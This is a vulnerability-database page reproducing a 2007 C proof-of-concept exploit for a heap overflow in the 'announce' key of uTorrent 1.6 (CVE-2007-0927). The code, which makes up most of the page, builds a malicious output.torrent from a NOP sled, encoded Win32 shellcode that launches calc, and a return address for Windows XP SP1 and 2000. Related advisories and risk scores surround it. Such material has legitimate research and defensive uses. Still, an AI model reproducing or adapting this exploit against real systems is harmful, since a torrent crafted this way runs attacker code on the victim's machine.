Lucene search
+L

μTorrent (uTorrent) 1.6 build 474 - 'announce' Key Remote Heap Overflow

🗓️ 12 Feb 2007 00:00:00Reported by defsecType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

uTorrent 1.6 build 474 Remot

Related
Code
ReporterTitlePublishedViews
Family
checkpoint_advisories
Check Point Advisories
UTorrent announce Buffer Overflow - Ver2 (CVE-2007-0927)
16 Apr 201400:00
checkpoint_advisories
cve
CVE
CVE-2007-0927
14 Feb 200711:00
cve
cvelist
Cvelist
CVE-2007-0927
14 Feb 200711:00
cvelist
nvd
NVD
CVE-2007-0927
14 Feb 200711:28
nvd
prion
Prion
Heap overflow
14 Feb 200711:28
prion
securityvulns
securityvulns
µTorrent buffer overflow
12 Feb 200700:00
securityvulns
canvas
canvas
Immunity Canvas: UTORRENT
14 Feb 200711:28
canvas
/*
 * This is a PoC remote exploit for uTorrent 1.6
 *
 * Author:
 * defsec <[email protected]>
 * http://www.defacedsecurity.com
 *
 *
 * Works on XP SP1 and  w2k sp1-4
 *
*/

#include <stdio.h>
#include <stdlib.h>

#define NASIZE 4880

unsigned char nice_announce[NASIZE];
unsigned char xorops[]="\x33\xc0\x33\xdb";

// win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum
// Restricted Character 0x00
unsigned char shellcode[]=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x48"
"\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x58"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x45\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38"
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x36\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x36\x50\x47\x4a\x4d\x44\x4e\x43\x47\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x46\x42\x30\x5a";

//msvcrt.dll pop,pop,ret addr all xp sp1 exchange it with 0x7801D07B for win2k sp3/sp4
unsigned char jmptosc[] = "\xeb\x04\
\xa7\x2c\xc2\x77\
\x33\xc0\xb0\x11\xc1\xe0\x08\x5b\x5b\x5b\x2b\xd8\xff\xe3";

int main(int argc,char *argv[])
{
	FILE * pFile;
	long lSize;
	char * buffer;
	size_t result;

	long i = 0;
	long j = 0;
	long lPtrIndex;
	long lHeadSize;
	long lTailSize;
	char * curptr;
	char * alptr;
	char * torrentTail;

	if (argc < 2)
	{
		printf("\n[uTorrent 1.6] Heap Overflow Exploit - by [DEFACEDSECURITY]");
		printf("\n\nUsage: ");
		printf("%s",argv[0]);
		printf(" <TorrentFile>\n");
		return 0;
	}

	pFile = fopen (argv[1],"rb");
	if (pFile==NULL)
	{
		fputs ("File error",stderr);
		return 0;
	}

	// obtain file size:
	fseek (pFile ,0,SEEK_END);
	lSize = ftell (pFile);
	rewind (pFile);

	// allocate memory to contain the whole file:
	buffer = (char*) malloc (sizeof(char)*lSize);
	if (buffer == NULL)
	{
		fputs ("Memory error",stderr);
		return 0;
	}

	// copy the file into the buffer:
	result = fread (buffer,1,lSize,pFile);
	if (result != lSize)
	{
		fputs ("Reading error",stderr);
		return 0;
	}

	fclose (pFile);

	/* find announce / announce-list and erase it */
	alptr = (char *) strstr(buffer,"announce");
	if (alptr == NULL)
	{
		printf("\ninvalid torrent file");
		return 0;
	}

	curptr = (char *) strstr(alptr, "7:comment");
	lHeadSize = curptr - buffer ;
	lTailSize = lSize - lHeadSize;

	torrentTail = (char *) malloc (sizeof(char)*lTailSize);
	memcpy(torrentTail,curptr,lTailSize);

	/* generate offending header */
	strcpy(nice_announce,"d8:announce4864:");
	for (lPtrIndex = 16; lPtrIndex <= 4864+16; lPtrIndex++)
		nice_announce[lPtrIndex] = 0x90;
	lPtrIndex = 84;
	memcpy(nice_announce + lPtrIndex ,xorops,sizeof(xorops)-1);
	lPtrIndex += sizeof(xorops) -1;
	memcpy(nice_announce+lPtrIndex,shellcode, sizeof(shellcode)-1);
	for (lPtrIndex = 4438; lPtrIndex<4458; lPtrIndex++,i++)
		nice_announce[lPtrIndex] = jmptosc[i];

	/* get head and tail together into a file */
	curptr = (char *) malloc(sizeof(char)*(NASIZE+lTailSize));
	for (i=0;i<NASIZE;i++)
		curptr[i] = nice_announce[i];
	for (;i<(NASIZE+lTailSize);i++,j++)
		curptr[i] = torrentTail[j];

	/* write to file and exit */
	pFile = fopen ( "output.torrent" , "wb" );
	if (pFile==NULL)
	{
		fputs ("File error",stderr);
		return 0;
	}
	fwrite(curptr, sizeof(char), (NASIZE+lTailSize), pFile);
	fclose (pFile);

	return 1337; //:)
}

// milw0rm.com [2007-02-12]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Mar 2018 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.44732
32